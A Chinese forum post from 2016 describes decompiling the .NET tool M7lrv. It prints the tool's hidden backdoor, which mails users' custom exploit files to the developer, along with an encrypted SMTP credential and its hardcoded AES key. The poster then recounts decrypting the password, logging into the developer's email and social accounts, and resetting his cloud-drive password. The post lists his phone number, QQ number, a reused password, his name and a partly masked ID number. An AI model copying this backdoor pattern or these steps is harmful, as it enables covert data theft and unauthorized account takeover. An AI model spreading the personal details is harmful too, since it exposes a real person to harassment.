分享下我是如何通过软件后门扒下M7lrv 3.0源码的（纯分享，无恶意）

本帖最后由 匿名 于 2016-6-2 17:46 编辑

软件的下载地址大部分已经失效了，被弄之后，作者已经清掉了百度盘的有关连接。大家可能依旧可以从百度或者谷歌找到历史的一些版本下载地址。
(我只是记录了一下当初的过程，具体就不详述了，很少写文字，一怕出名，二怕风大)

1 我们注意到软件的下载地址
http://pan.baidu.com/s/1c0fhAbm

3.0的要赞助，就是要交钱意思下，文件要解压密码，于是我们来下载2版本的

下载后 解密，.NET达人都知道用什么吧

```
    }

    public static bool SendDllAndExp()
    {
        bool flag;
        try
        {
            List<string> strs = new List<string>()
            {
                Cms_Config.cms_ExpDllPath,
                Cms_Config.cms_ExpConfigPath
            };
            Exp_Service.SendMail(strs, "后门执行发送附件", "附件");
            Global_Model.isSend = true;
            flag = true;
        }
        catch (Exception exception)
        {
            flag = false;
        }
        return flag;
    }

    public static bool SendMail(string attachment, string title, string mailinfo)
    {
        return Exp_Service.SendMail(new List<string>()
        {
            attachment
        }, title, mailinfo);
    }

    public static bool SendMail(List<string> attachments, string title, string mailinfo)
    {
        M7lrv_MailHelper m7lrvMailHelper = new M7lrv_MailHelper();
        M7lrv_EmailModel m7lrvEmailModel = new M7lrv_EmailModel();
        m7lrvEmailModel.setMain_SendUserName("1551436625@qq.com");
        m7lrvEmailModel.setMail_SendUserPass("TO3yFBI25eBnajhInN+ryw==");
        m7lrvEmailModel.setMain_ReciveUserName("m7lrv@qq.com");
        if (attachments != null)
        {
            m7lrvEmailModel.getMain_Attachments().AddRange(attachments);
        }
        m7lrvEmailModel.setMail_Title(title);
        m7lrvEmailModel.setMail_Info(mailinfo);
        return m7lrvMailHelper.SendMail(m7lrvEmailModel, true);
    }
}
```

一个后门。太直白了　　还后门执行发送附件。。（这里是添加了我们自己的自定义的EXP后会发送到作者的邮箱里 等于送0day，太可耻了）

既然放了后门。我就不客气了，只能深挖了。

密码被加密了

我们看看怎么解密的的

[C#] 纯文本查看 复制代码

```
?
public bool SendMail(M7lrv_EmailModel model, bool isEnc)
{
```

```
this.bool_0 = false;
try
{
MailMessage mailMessage = new
MailMessage();
mailMessage = new
MailMessage(model.getMain_SendUserName(),
model.getMain_ReciveUserName());
for (int i = 0; i <
model.getMain_Attachments().Count; i++)
{
mailMessage.Attachments.
Add(new Attachment(model.getMain_Attachments()));
}
SmtpClient smtpClient = new
SmtpClient(model.getMail_Tmtp())
{
UseDefaultCredentials =
false,
Credentials = new
NetworkCredential(model.getMain_SendUserName(),
M7lrv_EncryHelper.GetAESDecode(model.getMail_SendUserPass(),
"m7lrv123456")),
DeliveryMethod =
SmtpDeliveryMethod.Network
};
mailMessage.Subject =
model.getMail_Title();
StringBuilder stringBuilder =
new StringBuilder();
stringBuilder.Append(model.getM
```

```
ail_Info());
                                    mailMessage.Body =
stringBuilder.ToString();
                                    smtpClient.Send(mailMessage);
                                    this.bool_0 = true;
                                }
                                catch (Exception exception)
                                {
                                    throw exception;
                                }
                                return this.bool_0;
                            }
```

直接调用M7lrvTools里面的函数，我们写个程序解密下

框　　密码出来了

登陆QQ邮箱

登陆QQ空间

群空间

M7lrv 个人照片

作者在其网站上留下的QQ　　308691926

支付宝　　18258450409

组合密码

yang18258450409!

说明这个也曾经是他常用的
百度盘账号 m7lrv
绑定EMAIL　　1551436625@qq.com

杨正伟

513021**********5

然后。。

利用百度盘　　密码找回　　邮箱进入后重置密码。搞定一切

（由于M7lrv说有网警朋友，我怕被查。所以　　还有一部分就不放出来了。　　）

分享此过程，希望广大程序员在留后门的时候，留点心，一不小心把你的邮箱密码都放到后门里面。。